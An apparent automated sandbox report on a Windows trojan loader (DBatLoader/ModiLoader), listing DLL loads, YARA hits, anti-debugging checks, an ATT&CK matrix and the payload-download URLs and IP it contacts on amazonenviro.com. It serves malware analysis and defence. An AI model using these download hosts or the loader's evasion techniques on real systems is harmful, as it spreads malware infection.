Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: UTstKgkJNY.exe

Static file information: File size 1161216 > 1048576

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 1.2.UTstKgkJNY.exe.21e65a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UTstKgkJNY.exe.2860000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UTstKgkJNY.exe.21e65a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2528020795.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2512810785.00000000021E6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_02878798 LoadLibraryW,GetProcAddress,FreeLibrary,

1_2_02878798

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0288D2FC push 0288D367h; ret	1_2_0288D35F
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_028632FC push eax; ret	1_2_02863338
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0286635C push 028663B7h; ret	1_2_028663AF
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0286635A push 028663B7h; ret	1_2_028663AF
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0288D0AC push 0288D125h; ret	1_2_0288D11D
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0288D1F8 push 0288D288h; ret	1_2_0288D280
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0288D144 push 0288D1ECh; ret	1_2_0288D1E4
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_028786B8 push 028786FAh; ret	1_2_028786F2
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02866736 push 0286677Ah; ret	1_2_02866772
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02866738 push 0286677Ah; ret	1_2_02866772
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0286C4EC push ecx; mov dword ptr [esp], edx	1_2_0286C4F1
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0286D520 push 0286D54Ch; ret	1_2_0286D544
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0286CB6C push 0286CCF2h; ret	1_2_0286CCEA
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287788C push 02877909h; ret	1_2_02877901
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_028768C6 push 02876973h; ret	1_2_0287696B
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_028768C8 push 02876973h; ret	1_2_0287696B
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287E9E8 push ecx; mov dword ptr [esp], edx	1_2_0287E9ED
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287890E push 02878948h; ret	1_2_02878940
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287A917 push 0287A950h; ret	1_2_0287A948
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02878910 push 02878948h; ret	1_2_02878940
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287A918 push 0287A950h; ret	1_2_0287A948
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0286C95E push 0286CCF2h; ret	1_2_0286CCEA
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02872EE0 push 02872F56h; ret	1_2_02872F4E
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0288BFA0 push 0288C1C8h; ret	1_2_0288C1C0
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02872FEC push 02873039h; ret	1_2_02873031
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02872FEB push 02873039h; ret	1_2_02873031
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02875DFC push ecx; mov dword ptr [esp], edx	1_2_02875DFE

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_0287A954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_0287A954

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_028658B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

1_2_028658B4

Source: UTstKgkJNY.exe, 00000001.00000003.2489466445.000000000059E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005B7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

API call chain: ExitProcess graph end node

graph_1-29032

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_0287F024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

1_2_0287F024

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_02878798 LoadLibraryW,GetProcAddress,FreeLibrary,

1_2_02878798

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	1_2_02865A78
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: GetLocaleInfoA,	1_2_0286A790
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: GetLocaleInfoA,	1_2_0286A744
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	1_2_02865B84

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_0286918C GetLocalTime,

1_2_0286918C

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_0286B70C GetVersionExA,

1_2_0286B70C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Access Token Manipulation	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Connections Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UTstKgkJNY.exe	68%	ReversingLabs	Win32.Trojan.ModiLoader

Source	Detection	Scanner	Label
https://amazonenviro.com/245_Tzzlqsjvkee$V	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkee	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkee0	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkeei	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkeem	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkee.	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkeeui	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkeep	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_TzzlqsjvkeeAL	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_TzzlqsjvkeeO	0%	Avira URL Cloud	safe
https://amazonenviro.com/Ad0	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_TzzlqsjvkeeHH	0%	Avira URL Cloud	safe
https://amazonenviro.com/id(	0%	Avira URL Cloud	safe
https://amazonenviro.com/yd8	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkee5	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkeec;	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_TzzlqsjvkeeQH	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkee77	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Tzzlqsjvkee	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Tzzlqsjvkeec	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_TzzlqsjvkeeoH	0%	Avira URL Cloud	safe
https://amazonenviro.com/	0%	Avira URL Cloud	safe
https://amazonenviro.com/Qd	0%	Avira URL Cloud	safe
https://amazonenviro.com/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
amazonenviro.com	166.62.27.188	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://amazonenviro.com/245_Tzzlqsjvkee	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://amazonenviro.com/245_Tzzlqsjvkee$V	UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkeei	UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1320430561.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkee0	UTstKgkJNY.exe, 00000001.00000002.2511530710.0000000000601000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkeep	UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkeeui	UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_TzzlqsjvkeeO	UTstKgkJNY.exe, 00000001.00000003.1369796993.0000000000620000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkee.	UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkeem	UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_TzzlqsjvkeeAL	UTstKgkJNY.exe, 00000001.00000003.1320430561.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1369796993.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/Ad0	UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/id(	UTstKgkJNY.exe, 00000001.00000003.2446526925.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1369796993.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/yd8	UTstKgkJNY.exe, 00000001.00000003.2446526925.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkee5	UTstKgkJNY.exe, 00000001.00000003.1369796993.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkee77	UTstKgkJNY.exe, 00000001.00000003.2489466445.000000000059E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_TzzlqsjvkeeHH	UTstKgkJNY.exe, 00000001.00000003.2446526925.0000000000617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Tzzlqsjvkee	UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkeec;	UTstKgkJNY.exe, 00000001.00000003.1633956543.0000000000617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_TzzlqsjvkeeQH	UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Tzzlqsjvkeec	UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/	UTstKgkJNY.exe, 00000001.00000003.2446526925.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1633956543.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1369796993.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_TzzlqsjvkeeoH	UTstKgkJNY.exe, 00000001.00000003.2489466445.0000000000617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/Qd	UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
